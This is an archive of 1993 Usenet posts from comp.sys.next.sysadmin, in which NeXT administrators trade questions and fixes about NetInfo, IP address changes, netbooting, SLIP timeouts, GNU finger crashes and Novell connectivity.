From: woneill@astro.ocis.temple.edu (William O'Neill) Newsgroups: comp.sys.next.sysadmin Subject: Netboot problems Message-ID: <1993Apr16.145309.11345@cronkite.ocis.temple.edu> Date: 16 Apr 93 14:53:09 GMT Sender: news@cronkite.ocis.temple.edu (NetWork News (readnews)) Organization: Temple University We recently downgraded our server machine to 2.0 from 3.0 and now one of our netboot clients won't work. I keep getting an NFS write error #13. Does this have something to do with the downgrade or did we configure the netboot client wrong? (We had to run newclient again- we restored our netinfo database from backups) -- <cut along dotted line> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Bill O'Neill The Woneill Temple University woneill@picasso.ocis.temple.edu 7th Floor Computer Activity Building Usenet News administrator Broad & Montgomery Avenues IRC operator Philadelphia, PA 19122 Cynical Temple Student
Newsgroups: comp.sys.next.sysadmin From: scott@geom.umn.edu (Scott S. Bertilson) Subject: Re: NetInfo for suns Message-ID: <C5L5HC.8sp@news.cis.umn.edu> Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: Geometry Center, University of Minnesota References: <1993Apr16.122601.950@imagine.com> Date: Fri, 16 Apr 1993 16:50:33 GMT Try contacting Xedoc Software Development at (415)395-9440. You can also reach J. Matthew Pryor via e-mail at "jmp@xedoc.com". We had heard good things and were tempted, but decided the price was greater than our need. Scott --
Newsgroups: comp.sys.next.sysadmin From: root@azetsys.uucp (Operator) Subject: Microphone-Pro locks-up Message-ID: <1993Apr16.220213.275@azetsys.uucp> Organization: CleverLever Date: Fri, 16 Apr 1993 22:02:13 GMT Hi, This morning received Microphone-Pro from NextConnection, followed installation instructions, and installed it, alas when I tried to run it it locked-up the machine,( NS Turbo-mono NS 3.0), has anyone had similar experiences? Called tech-support, stayed on the phoneline for 40+minutes, at my expense (NY >> LA, Ouch...) but they were not able to resolve the problem, and promised that the programmer will call back next week. Any ideas? Thanks, Geza.. azetsys!root@uunet.UU.NET
Newsgroups: comp.sys.next.sysadmin From: mark@cyantic.com (Mark T. Dornfeld) Subject: Changing Internet Address Organization: CYANTIC Systems Date: Fri, 16 Apr 1993 17:19:35 GMT Message-ID: <1993Apr16.171935.602@cyantic.com> I just tried to change the internet address on my 3.0 TC. I tried running the SimpleNetworkStarter and also tried modifying /private/etc/hosts and /private/etc/hostconfig. The system hung while booting after the portmapper started. Changing the two files back to their original state brought the system back up. What is the 'correct' way to change the TCP address of a system that has been up and running? What am I missing? -- Mark T. Dornfeld Voice: (416) 234-9048 CYANTIC Systems Facsimile: (416) 234-0477 101 Subway Crescent Suite 2103 Email: mark@cyantic.com
Newsgroups: comp.sys.next.sysadmin From: mark@cyantic.com (Mark T. Dornfeld) Subject: Netinfo corruption - boot hangs Organization: CYANTIC Systems Date: Fri, 16 Apr 1993 19:26:59 GMT Message-ID: <1993Apr16.192659.1117@cyantic.com> Earlier I posted a note about changing the IP number on my 3.0 system. I got by that bit of a hurdle, but came up against another problem. Somehow I managed to reconfigure netinfo so that there is no local host name available to netinfo. I tried to add it, but I must have messed something up. Now, the system boot hangs when it tries to run /usr/etc/nibindd in the /private/etc/rc file, so I assume I've corrupted the netinfo database. Any and all help will be appreciated. If anyone is so inclined, please call collect at 416 533-4135. -- Mark T. Dornfeld Voice: (416) 234-9048 CYANTIC Systems Facsimile: (416) 234-0477 101 Subway Crescent Suite 2103 Email: mark@cyantic.com
From: anstine@uniblab.sas.upenn.edu (David Anstine) Newsgroups: comp.sys.next.sysadmin Subject: Setting timeout values in SLIP Message-ID: <120955@netnews.upenn.edu> Date: 16 Apr 93 21:40:39 GMT Sender: news@netnews.upenn.edu I'm using the DialupIP package on my client and server. I found that the timeout values on my server were too low and were closing the connection. Is there a way to set these values to infinity? Also, can anyone recommend documentation for SLIP server configuration? Louis' documentation is good for clients, but there is little on the server side. This would answer a lot of questions for me. -dave
From: anstine@uniblab.sas.upenn.edu (David Anstine) Newsgroups: comp.sys.next.sysadmin Subject: Integrating clusters Message-ID: <120957@netnews.upenn.edu> Date: 16 Apr 93 21:48:30 GMT Sender: news@netnews.upenn.edu Here's a riddle. I need to start integrating clusters, meaning users on one want to be able to login, have their home directory, read their mail, etc... from the other cluster. I'm not interested in a three level domain at this time. How to go about this. A) I add a passwd entry for person A on cluster B B) I mount their home directory from cluster A in /Net on cluster B. And make this their home directory on cluster B. C) Mail, how do I handle this? Their mail is spooled in /usr/spool/mail on cluster A. I obviously can't mount this over /usr/spool/mail on cluster B. If I mount it somewhere else, say /Net, their NextMail defaults will still point to /usr/spool/mail. Any ideas? -dave
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa) Newsgroups: comp.sys.next.sysadmin Subject: Re: Changing Internet Address Date: 17 Apr 1993 00:08:36 GMT Organization: University of California, Berkeley Distribution: world Message-ID: <1qnhq4$372@agate.berkeley.edu> References: <1993Apr16.171935.602@cyantic.com> In article <1993Apr16.171935.602@cyantic.com> mark@cyantic.com (Mark T. Dornfeld) writes: >I just tried to change the internet address on my 3.0 TC. >I tried running the SimpleNetworkStarter and also tried modifying >/private/etc/hosts and /private/etc/hostconfig. > >The system hung while booting after the portmapper started. Changing >the two files back to their original state brought the system back up. > >What is the 'correct' way to change the TCP address of a system that has >been up and running? If you have more than one machine in a NetInfo network, things get pretty complicated. I have just had an experience of moveing all our NeXTs from one building to another which required reassignments of all IP addresses. If you have "trusted_network" property set, changing one machines IP address (subnet) on a running system may cause hangs. I did all the changes before the move on a running system, and at the destination it was plug and play. Here's what I did. The key is to make a copy of netinfo, run netinfod on the copy, open the copied database using the "tagged domain" and edit it. This way, you don't touch the netinfo that is being used. [1] Get "niunparse" script written by Christopher Lane and dump the NetInfo database to a text file. Browsing this file for IP numbers tells you where they are stored. It's not just the machines directory that has IP numbers. With the niunparse dump, you can find the ones which are hidden (or at obscure places). Do the following as root. [2] Make a copy of /etc/netinfo by e.g., cd /etc cp -r netinfo netinfo.new [3] Run netinfod on the copy. cd netinfo.new mv local.nidb localnew.nidb mv network.nidb networknew.nidb (if netinfo server) netinfod localnew & netinfod networknew & [4] Using NetInfoManager.app, open "tagged" domains localnew and networknew (if applicable) on localhost. Change applicable IP numbers while looking at the niunparse dump. Don't forget to change the subnet if you have that stored under "trusted_networks" property. When done, save and quit NetInfoManager. [I've heard many horror stories with SimpleNetworkStarter, so I would avoid that like a plague.] [5] Terminate netinfod's for the copy. Do "ps ax" and find the PID's for localnew and networknew. Do "kill -TERM <pid_of_netinfod_for_localnew>", and "kill -TERM <pid_of_netinfod_for_networknew>" (if applicable). [6] Rename back mv localnew.nidb local.nidb mv networknew.nidb network.nidb [7] Reboot into single user (by halt, and "bsd -s" in monitor). In single user mode, do: cd /etc mv netinfo netinfo.old mv netinfo.new netinfo [8] Repeat above for each machine. [9] Move to new subnet and connect and boot as usual. ----------------------------------------- The above was only for NetInfo. You must take care of /etc/hostconfig separately. Changes for this should be obvious. If anybody has a simpler method, I am interested for future reference. Hope this might help someone faced with moves of a cluster. Just remember to do "cp -r /etc/netinfo /etc/netinfo.save" before you do anything with NetInfo. You will be glad soon enough. -- Izumi Ohzawa [ $@Bg_78^=;(J ] USMail: University of California, 360 Minor Hall, Berkeley, CA 94720 Telephone: (510) 642-6440 Fax: (510) 642-3323 Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
From: jmd@cube.handheld.com (Jim De Arras) Newsgroups: comp.sys.next.sysadmin,comp.sys.novell Subject: Netware 3.11/NeXT problem Date: 17 Apr 1993 02:06:18 GMT Organization: Hand Held Products, Inc. Distribution: world Message-ID: <1qnomqINNcp@clem.handheld.com> We just linked our network to another office that runs novell. We are trying to use the novell servers from the NeXT I can see the servers, I can log in, and see the files, but when I try to write to a directory, that I have demonstraited write privs from a PC on, the NeXT panics. Every NeXT in house. Even one that is on the same cable segment as the novell servers, so we've ruled the brige out. Does this sound familiar to anyone? Any ideas? Jim -- jmd@handheld.com ------------------------------------------------------------------------------- "I'm always rethinking that. There's never been a day when I haven't rethought that. But I can't do that by myself." Bill Clinton 6 April 93
From: clloyd@gleap (Charles C. Lloyd) Newsgroups: comp.sys.next.sysadmin Subject: Re: Contents of LCK file? Message-ID: <1993Apr16.091044.16157@gleap.jpunix.com> Date: Fri, 16 Apr 1993 09:10:44 GMT References: <hwr.734860389@snert.ka.sub.org> Sender: clloyd@gleap.jpunix.com Organization: GiantLeap Software Heiko W.Rupp writes > clloyd@gleap (Charles C. Lloyd) writes: > In comp.sys.next.sysadmin article <hwr.734860389@snert.ka.sub.org> you wrote: > clloyd@gleap (Charles C. Lloyd) writes: > > >Does anybody know how to manually create a valid uucp/LCK/LCK..* file? > Thanks to everyone who replied. It is the PID that's stored and it is true that the process which creates the file must be around for the lock to be in effect. I have written a gui which allows me to lock the modem manually (without using tip) for a period of time while I'm on the phone. This is real convenient for those of us who use a single line for data and voice and have a problem getting cut off by outgoing modem traffic. I have posted it to sonata (via mail-server), but I have already made some changes/fixes, so wait a few days before grabbing it. Charles. -- Charles Lloyd clloyd@GLeap.jpunix.com GiantLeap Software (713) 363-0887 (713) 363-0936 (fax)
Newsgroups: comp.sys.next.sysadmin From: jeffh@victoria.umhc.umn.edu (Jeff Hallgren) Subject: Re: Setting timeout values in SLIP Message-ID: <C5Lz9z.3Ms@news.cis.umn.edu> Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota References: <120955@netnews.upenn.edu> Date: Sat, 17 Apr 1993 03:34:10 GMT In article <120955@netnews.upenn.edu> anstine@uniblab.sas.upenn.edu (David Anstine) writes: > I'm using the DialupIP package on my client and server. > I found that the timeout values on my server were too low and were closing the > connection. Is there a way to set these values to infinity? > Also, can anyone recommend documentation for SLIP server configuration? Louis' > -dave Assuming that the server is not dialing out, then the /usr/dialupip/config/slipsrv.access file will never be consulted and you won't be able to set a timeout in there. I have the following in my /etc/rc.local file to set the timeouts as high as possible. # Run your own commands here fbshow -A -B -E -I "Starting*SLIP*Configuration..." # Public domain SLIP (TransSys DialUp-IP by Louie Mamakos) sh /usr/dialupip/config/rc.slip >/dev/console 2>&1 /usr/dialupip/bin/duioctl slip0 SATIMEO 9999999 SWTIMEO 9999999 >/dev/console I'll send you my own "setting up the server side" notes separately as they are .rtf and not real postable (minor edits to do first...). Jeff Jeff Hallgren Email: jhall@tahiti.umhc.umn.edu [NeXTMail is:welcome readReceipts:areNot];
Newsgroups: comp.sys.next.sysadmin From: jeffh@victoria.umhc.umn.edu (Jeff Hallgren) Subject: Re: Setting timeout values in SLIP Message-ID: <C5M0KH.4EF@news.cis.umn.edu> Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota References: <C5Lz9z.3Ms@news.cis.umn.edu> Date: Sat, 17 Apr 1993 04:02:04 GMT In article <C5Lz9z.3Ms@news.cis.umn.edu> jeffh@victoria.umhc.umn.edu (Jeff Hallgren) writes: > In article <120955@netnews.upenn.edu> anstine@uniblab.sas.upenn.edu (David Anstine) writes: > I'm using the DialupIP package on my client and server. > I found that the timeout values on my server were too low and were closing the > connection. Is there a way to set these values to infinity? > -dave I should also mention that doing the "Network Time Configuration" in HostManager will cause NTP events frequently enough that you'll never timeout AND (this is the cool thing) your clock will be fairly accurate!! Jeff Jeff Hallgren Email: jhall@tahiti.umhc.umn.edu [NeXTMail is:welcome readReceipts:areNot];
From: steve@fisher.bio.uci.edu (Steve Frank) Subject: NeXT Printer Error: Cannot Connect to WindowServer Message-ID: <2BCF8505.3922@news.service.uci.edu> Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin Date: 17 Apr 93 04:18:13 GMT I am trying to set up a NeXT printer on a netboot client. I know that this increases network traffic, and printers are not usually attached to clients. My problem is (1) the printer is configured normally (comparing nidump printcap for this and working printers), (2) it powers on when booting, (3) the queue is filled when a job is sent to the printer, with the appropriate files in the spool directory, but the following error message is written to lpd-errs: Apr 16 20:59:48 ficus Server:Local_Printer[182]: Cannot connect to WindowServer. Sleeping. Any suggestions? ---------------------------------------------------------- Steven Frank | Tel: 714-725-2244 Dept. of Ecology and | Fax: 714-725-2181 Evolutionary Biology | email: safrank@uci.edu Univ. of California | bitnt: safrank@uci.bitnet Irvine, CA 92717 |
Newsgroups: comp.sys.next.sysadmin From: harit@kripalu.com Subject: Re: netinfo for suns Message-ID: <1993Apr16.184700.520@uunet!cbmvax!xmws!kripalu> Sender: harit@uunet!cbmvax!xmws!kripalu Organization: Kripalu Center References: <1993Apr16.122601.950@imagine.com> Date: Fri, 16 Apr 93 18:47:00 GMT In article <1993Apr16.122601.950@imagine.com> wagner!beckers (Becki Kain) writes: > I've heard that you can buy netinfo for sparc stations. does anyone know > from whom? also, does it come for any other platforms? > > thank you > > beckers > -- > Becki Kain - Imagine Multimedia, Inc. - beckers@imagine.com > "oh boy oh boy oh boy" bauhaus nextmail welcome In NeXTWorld XDEOC advertises NetInfo for Sun, Auspex, Solbourne, HP, IBM RS, SGI, with Pyramid and DEC comming. netinfo@xedoc.com.au is there email address. -- Michael Allen Latta Kripalu Center harit@kripalu.com (413)448-3288
To: gnu-utils-bug@rutgers.edu From: shuque@spectre.sas.upenn.edu (Shumon Huque) Newsgroups: comp.sys.next.sysadmin,gnu.utils.bug Subject: problem with GNU finger-1.37 on NeXT Message-ID: <121000@netnews.upenn.edu> Date: 17 Apr 93 02:41:38 GMT Followup-To: comp.sys.next.sysadmin Organization: University of Pennsylvania Distribution: world Hi, I'm having some serious problems with GNU finger 1.37 on our NeXT cluster. The source compiled cleanly, and I made all the required changes to inetd.conf and /etc/services (ie. the services in netinfo). Whenever I try finger'ing I get these errors: # /usr/local/bin/finger shuque User Real Name What Idle TTY Host Console Location shuque Shumon Huque 0:04 *p1 microsup (fire) shuque Shumon Huque 0:12 *p0 boston (fire) memory allocation error: attempt to free or realloc space not in heap bad zone IOT trap Does anyone have any idea what the problem is? Is anyone using GNU finger with NeXTs? Thanks, --Shumon Huque
Newsgroups: comp.sys.next.sysadmin From: M_Carling@BlueRose.com (M Carling) Subject: Re: netinfo for suns Message-ID: <1993Apr16.182408.9939@bluerose.com> Sender: m@bluerose.com Organization: Blue Rose Systems, Inc. References: <1993Apr16.122601.950@imagine.com> Distribution: na Date: Fri, 16 Apr 1993 18:24:08 GMT In article <1993Apr16.122601.950@imagine.com> wagner!beckers (Becki Kain) writes: > I've heard that you can buy netinfo for sparc stations. does anyone know > from whom? also, does it come for any other platforms? Xedoc netinfo@xedoc.com.au It works with Sun, Auspex, Solbourne, HP 700 & 800, RS6000, and SGI. M Carling President, Bay Area NeXT Group
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software From: gerben@rna.indiv.nluug.nl Subject: PPP/SLIP Message-ID: <1993Apr17.141344.24575@rna.indiv.nluug.nl> Sender: gerben@rna.indiv.nluug.nl (Gerben Wierda) Organization: G.R.O.S.S. Date: Sat, 17 Apr 1993 14:13:44 GMT Is there a PD SLIP/PPP package that works under NEXTSTEP? If not, what commercial options are available? --Gerben -- Gerben Wierda [NeRD:7539] Tel. (+31) 35 833539 "If you don't know where you are going, any road will take you there." From the Talmud(?), rephrased in Lewis Carroll, "Alice in Wonderland".
Newsgroups: comp.sys.next.sysadmin From: wching@csmt.music.yale.edu (William Ching) Subject: Re: problem with GNU finger-1.37 on NeXT Message-ID: <1993Apr17.191510.14181@cs.yale.edu> Sender: news@cs.yale.edu (Usenet News) Organization: Yale School of Music, Center for Studies in Music Technology References: <121000@netnews.upenn.edu> Date: Sat, 17 Apr 1993 19:15:10 GMT gnu-utils-bug@rutgers.edu wrote: > Hi, > I'm having some serious problems with GNU finger 1.37 on our NeXT cluster. > The source compiled cleanly, and I made all the required changes to > inetd.conf and /etc/services (ie. the services in netinfo). Whenever I > try finger'ing I get these errors: > # /usr/local/bin/finger shuque > User Real Name What Idle TTY Host Console Location > shuque Shumon Huque 0:04 *p1 microsup (fire) > shuque Shumon Huque 0:12 *p0 boston (fire) > memory allocation error: attempt to free or realloc space not in heap > bad zone > IOT trap >[request for help deleted] > --Shumon Huque I installed gnu finger also, as detailed in the installation docs. I also get the same error. However, it also seems that the fingerd daemon spontaneously quits also, presumably due to a similar IOT (signal 6) error. I can't seem to localize the source of the problem. Any help with this problem would be very much appreciated. Thanks, WC ----------------------------------------------------------------------------- William Ching, System Administrator | wching@csmt.music.yale.edu (NeXTMail) Yale University Department of Music | Center for Studies in Music Technology "To the insane the sane must seem insane"
To: gnu-utils-bug@rutgers.edu From: shuque@spectre.sas.upenn.edu (Shumon Huque) Newsgroups: comp.sys.next.sysadmin,gnu.utils.bug Subject: GNU finger 1.37 and NeXT (continued) Message-ID: <121017@netnews.upenn.edu> Date: 17 Apr 93 05:15:08 GMT Followup-To: comp.sys.next.sysadmin,comp.sys.next.sysadmin,gnu.utils.bug Organization: University of Pennsylvania Distribution: world Earlier I had written: > Hi, > > I'm having some serious problems with GNU finger 1.37 on our NeXT cluster. > The source compiled cleanly, and I made all the required changes to > inetd.conf and /etc/services (ie. the services in netinfo). Whenever I > try finger'ing I get these errors: > > # /usr/local/bin/finger shuque > User Real Name What Idle TTY Host Console Location > shuque Shumon Huque 0:04 *p1 microsup (fire) > shuque Shumon Huque 0:12 *p0 boston (fire) > memory allocation error: attempt to free or realloc space not in heap > bad zone > IOT trap > After stepping thru the source code with gdb, I find that the cause of the problem is with the last calls to free() in finger.c: > free (username); > > if (finger_server) > free (finger_server); > > if (host) > free (host); > >} The error doesn't occur until the program has called exit(), so I can't tell (ie. I don't know of a way to tell) which call(s) cause it. Commenting out the calls causes everything to run just fine! Obviously, the problem has something to do with Mach's zone based memory allocation scheme, but I tread unfamiliar territory here ... Perhaps someone can further enlighten me as to the cause and solution to this. Perhaps there is some combination of compiler flags that would have eliminated the problem in the first place. Thanks, --Shumon Huque shuque@spectre.sas.upenn.edu BTW, GNU finger is great, especially for typical NeXT environments, ie. networks of single user workstations. I've used Carl's modified bsd fingerd till now and that was great (thanks Carl!), but GNU provides distributed finger service, which is ideal for us!
Newsgroups: comp.sys.next.sysadmin,comp.sys.novell From: cowboy@trans.csuohio.edu (Joe Rosenfeld) Subject: Re: Netware 3.11/NeXT problem Message-ID: <1993Apr18.122444.10827@news.csuohio.edu> Followup-To: comp.sys.next.sysadmin,comp.sys.novell Sender: news@news.csuohio.edu (USENET News System) Organization: Cleveland State University References: <1qnomqINNcp@clem.handheld.com> Date: Sun, 18 Apr 1993 12:24:44 GMT Jim De Arras (jmd@cube.handheld.com) wrote: : We just linked our network to another office that runs novell. We are trying to : use the novell servers from the NeXT : I can see the servers, I can log in, and see the files, but when I try to write : to a directory, that I have demonstraited write privs from a PC on, the NeXT : panics. Every NeXT in house. Even one that is on the same cable segment as : the novell servers, so we've ruled the brige out. : Does this sound familiar to anyone? Any ideas? : Jim Yeah, this is what happens when you do not RTFM that came along with the NS 3.0 release. You need to install the NetWare Unix Client (in /usr/netware/lib) and the permissions have to be changed in both the NetWare environment and on your NeXTs. Thenyou have to make sure your tables are set on NetWare in sys:system so the user ids and Group Ids are matched on both the NetWare environment and on the NeXT. Read the manual and all will become clearer! Cowboy
From: mehta-anand@yale.edu (Anand Mehta) Newsgroups: comp.sys.next.sysadmin Subject: NeXTTeX and New Font Selection Scheme Date: 18 Apr 1993 11:07:09 -0400 Organization: Yale University, Science & Engineering Unix, New Haven, CT Message-ID: <1qrqqtINNlco@MINERVA.CIS.YALE.EDU> I'm trying ot get nfss working on my machine, but to no avail. I downloaded the files and ran initex with the proper substitutions (lfonts.new, etc.) and generated a new lplain.fmt. Unfortunately, when using \documentstyle[newlfont]{paper} I get an error saying that I cannot user newlfont.sty without nfss (!). Assuming that this means that nfss is not installed, and I have no idea why this is so. I have lplain-prenfss.fmt and lplain-nfss.fmt and neither (when renamed lplain.fmt) solves the problem. Does anyone know why I seem to be stuck with a non-nfss lplain.fmt even when I have an apparently correctly generated lplain.fmt? Thanks, -Anand Academic Computing Services Yale University mehta-anand@yale.edu
Newsgroups: comp.sys.next.sysadmin From: paul@seer.demon.co.uk (Paul Lynch) Subject: SGI -> NeXT printing Message-ID: <1993Apr18.110459.1866@seer.demon.co.uk> Sender: paul@seer.demon.co.uk Organization: P & L Systems Date: Sun, 18 Apr 1993 11:04:59 GMT A friend of mine has and ADB Color Turbo with printer and a Personal Iris. He wants to transfer files created on the Silicon Graphics to his NeXT so that he can send them off to bureaus who can accept Mac and PC disks, and to print on his NeXT printer. He also would like to load files into Diagram and Concurrence for slide making. They are networed together, so he can grab files without any problems from the Iris spool that are sent to a dummy generic PostScript printer, but these won't print on the NeXT. Can anyone suggest the best way to hook up these machines? Paul -- Paul Lynch P & L Systems (NeXTmail) paul@seer.demon.co.uk Tel: (0494)671501 paull@cix.compulink.co.uk Fax: (0494)680228 76711.451@compuserve.com
Newsgroups: comp.sys.next.sysadmin From: root@pars.skidmore.edu (Operator) Subject: Need new disktab and sector change help for HD Message-ID: <1993Apr18.201737.14561@scott.skidmore.edu> Keywords: help, disktab Sender: news@scott.skidmore.edu (news manager) Organization: Skidmore College, Saratoga Springs NY Date: Sun, 18 Apr 1993 20:17:37 GMT After some hard work, and with the help of a visiting expert (who is now gone !), we have determined that our external gig disk needs to be reformatted. It was sent to us formated for 71 sectors and we need it to be only 37 sectors (according to my expert !). HELP ! Can anyone help me out ? I'm only a simple music Prof. and therefore not fully versed in Unix stuff, but I've been able to run the disk program and use fsck and related programs. I'm told to use the "sense" program ( ??), or better yet, to get a disktab file for a Micropolis 1598 and force mkfs to reformat this thing using the new disktabe. Does anybody have a disktab file I can use ? OR perhaps somebody has a nice simple (meaning NeXT-ish interface) hard disk reformmating file. Of course, the NeXT's "build disk" program doesn't work on this disk. Any help would be greatly appreciated ! Anthony Holland Skidmore College
Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: Re: Integrating clusters Message-ID: <C5pMwq.G38@ux1.cso.uiuc.edu> Organization: University of Illinois at Urbana References: <120957@netnews.upenn.edu> Date: Mon, 19 Apr 1993 02:57:48 GMT anstine@uniblab.sas.upenn.edu (David Anstine) writes: >Here's a riddle. >I need to start integrating clusters, meaning users on one want to be able to >login, have their home directory, read their mail, etc... from the other >cluster. I'm not interested in a three level domain at this time. You probably ought to be going to a 3-level, especially if these 'clusters' that already exist are on separate subnets. The 3-level will give you the most flexibility. >How to go about this. >A) I add a passwd entry for person A on cluster B This is more or less no big deal. If you are really dead set against a 3-level, I suggest that you put all of the machines in one top level (tagged network), with a clone server of the top-level domain (tagged network) on each cluster's subnet. This is kind of a strange thing to do, because the docs do really tend to steer you towards one netinfo domain tagged 'network' per subnet. This falls in line with the 3-level setup. Of course, you can also always just manually go adding each person to all of the clusters' servers if they are separate netinfo subnets. >B) I mount their home directory from cluster A in /Net on cluster B. And make >this their home directory on cluster B. This is fairly trivial as well, and doesn't matter how you set up the netinfo stuff. It's an NFS problem. >C) Mail, how do I handle this? Their mail is spooled in /usr/spool/mail on >cluster A. I obviously can't mount this over /usr/spool/mail on cluster B. If I >mount it somewhere else, say /Net, their NextMail defaults will still point to >/usr/spool/mail. Ugh. Mail will be a problem. Probably the best thing to do is to identify *one* machine as 'mailhost' for all of the clusters. It should have entries for every user on every cluster available to it. (either locally in its netinfo database, or by having those user accounts in a parent domain, which would happen if you did a 3-level and had the accounts in the top-level domain) Then, set up the sendmail's on every client to pass outgoing mail via the mailhost, even if it's local. Then, in your DNS, add a MX (mail exchanger) record for every client you have that says 'send all mail to mailhost, not to the individual client'. Now, your mailhost will accept all mail and you don't have to worry about the sendmails on individual hosts accessing mail spools at the same time. mount /usr/spool/mail from the mailhost to every client, and everything should work OK. Sorry if this sounds really complicated, sometimes it's hard to explain netinfo concepts in words without drawing pictures. If you have questions, please feel free to e-mail me. -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin From: Gregory W. Gee <gee@gaul.csd.uwo.ca> Subject: need help with TransSys DialUp-IP. Organization: Relayed-by-Sendmail Date: Mon, 19 Apr 1993 04:56:30 GMT Message-ID: <9304190456.AA19338@gaul.csd.uwo.ca> To: comp.sys.next.sysadmin@newshost.uwo.ca Sender: daemon@julian.uwo.ca (Julian System Daemon Account) I was wondering if there was anyone out there that could help me through the setup of this interface. I have it all in and wrote the scripts but I need someone to talk with to help with any other little things that I might miss. If anyone has used this, your help would be greatly appreciated. Please respond by mail if possible. **************************************************************************** Greg Gee gee@gaul.csd.uwo.ca Honours Computer Science, ggee@hi_presure_lab.gp.uwo.ca University of Western Ontario NeXT Mail accepted >>> Developing in the NeXT generation <<< ****************************************************************************
From: Conrad_Geiger@NeXT.com (Conrad Geiger - Manager, International NeXT User Groups) Newsgroups: comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.sysadmin,comp.sys.next.software,comp.sys.next.marketplace Subject: Recent NEXTSTEP and NeXT Partner Announcements Date: 19 Apr 1993 21:59:28 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <1qv7c0$1r2@rosie.next.com> For your information, The following NEXTSTEP announcements were posted to the comp.sys.next.advocacy newsgroup today: 1. Hewlett-Packard to Offer NEXTSTEP-Certified PC's 2. Data General to Deliver NEXTSTEP on DASHER II PC's 3. Dell Announces Plans to Offer Systems with NEXTSTEP 4. NEC Technologies to Provide NEC and NEXTSTEP Solutions 5. EPSON to Integrate NEXTSTEP with Progression NX 6. Ingram Micro and NeXT Sign National Distribution Agreement 7. Trident Data Systems Becomes NeXT Consulting Partner 8. PanCanadian Enters Strategic Alliance with NeXT 9. Comnetix Provides York University with NEXTSTEP-Based System; System Will Handle All Undergraduate Admissions 10. Pencom to Provide Development Support for NeXTWORLD Expo Exhibitors Conrad Geiger International NEXTSTEP User Group Program Manager
Newsgroups: comp.sys.next.sysadmin From: sherwood@space.ualberta.ca (System Administrator) Subject: Re: partially installed fonts Message-ID: <1993Apr20.181102.18993@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <1993Apr19.122320.3915@urz.unibas.ch> Date: Tue, 20 Apr 1993 18:11:02 GMT Robert Frank (frank@ifi.unibas.ch) wrote: : A small problem with partially installed fonts. : : I tried to (automatically) install a font in ~/LocalLibrary/Fonts, but this : failed, as the font was not available (my fault! I misplaced them). : : Now, whenever I do something that deals with fonts, I get a panel informing me : that new fonts are to be included and that the process may take 120 seconds. It : never succeeds, as the fonts arn't aroung (I didn't want them in the end). : I tried deleting the ~/LocalLibrary/Fonts/.fontdictionary.new file, but it is : regenerated every time. : : What am I missing. There has to be some other info floating around somewhere, : but what? : -Robert try also removeing /LocalLibrary/Fonts/.afmcache and .fontlist See also manpage for buildAFMdir and CacheAFMdata -- => Sherwood Botsford sherwood@space.ualberta.ca <= => University of Alberta Lab Manager, Space Physics Group <= => tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin From: shviid@magnus.acs.ohio-state.edu (Steen H Hviid) Subject: fair market value for used slate Message-ID: <1993Apr20.182252.8150@magnus.acs.ohio-state.edu> Sender: news@magnus.acs.ohio-state.edu Organization: The Ohio State University Distribution: usa Date: Tue, 20 Apr 1993 18:22:52 GMT We have two NeXTstations with 105 MByte disk and 4 or 8 MByte RAM, no color. The department wish to transfer them to another department at fair market value, could anyone provide such an estimate please? Thank you Steen Hansen Computer Specialist, Ohio State University
Newsgroups: comp.sys.next.sysadmin From: szatezal@magnus.acs.ohio-state.edu (Shane M Zatezalo) Subject: Listserv for the NeXT? Message-ID: <1993Apr20.204529.12945@magnus.acs.ohio-state.edu> Sender: news@magnus.acs.ohio-state.edu Organization: The Ohio State University Date: Tue, 20 Apr 1993 20:45:29 GMT Anyone know where I can get a mailing list program for the NeXT? (something like listserv would do pretty well, but I'm not sure if listserv works on the NeXT or not) Thanks, shane -- :::Apple II forever!!:::GO BUCKS!:::Play Lacrosse!!:::Raging Bullwinkle!::: : Shane M . Zatezalo - CIS OSU: i-net> szatezal@magnus.acs.ohio-state.edu : : root@tap.colum.fnet.org : NeXTMail> shane@kiwi.swhs.ohio-state.edu : :GS::: call T.A.P. a Futurenet BBS 614-297-7031 16.8k DS HST 425 MEGS ::GS:
From: slv0y@cc.usu.edu Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer Subject: Workspace dying consistently...help.. Message-ID: <1993Apr20.141059.66518@cc.usu.edu> Date: 20 Apr 93 14:10:59 MDT Organization: Utah State University I am experiencing some strange WorkSpace errors. I can't see anything obvious as to why I am getting them so if anyone can shed some light on this I would appreciate it. I am exporting a directory ServerApps to the root domain and its mount point is /Net. If in the workspace while logged in as root on a client machine and I try to open this folder, workspace dies and loggs me out. I can access that directory via the shell just fine and everything looks o.k., and I can access that directory from a user account, and on the server under root. All of the files in the directory are just normal apps, calculator, safetynet, etc. and none of them have any strange file characteristics, ownerships, etc. that I can see. So whats the problem? Is this a known bug in 3.0...if so, how do I get around it? Its really not that big of a problem except I want to link the applications in the server apps directory into each machines local apps as root. Am I going about this all wrong? I have to have a local apps and a server or shared apps because I have several programs with single licenses that have to be installed on just one machine. Any help would be greatly appreciated. John Z. slv0y@cc.usu.edu
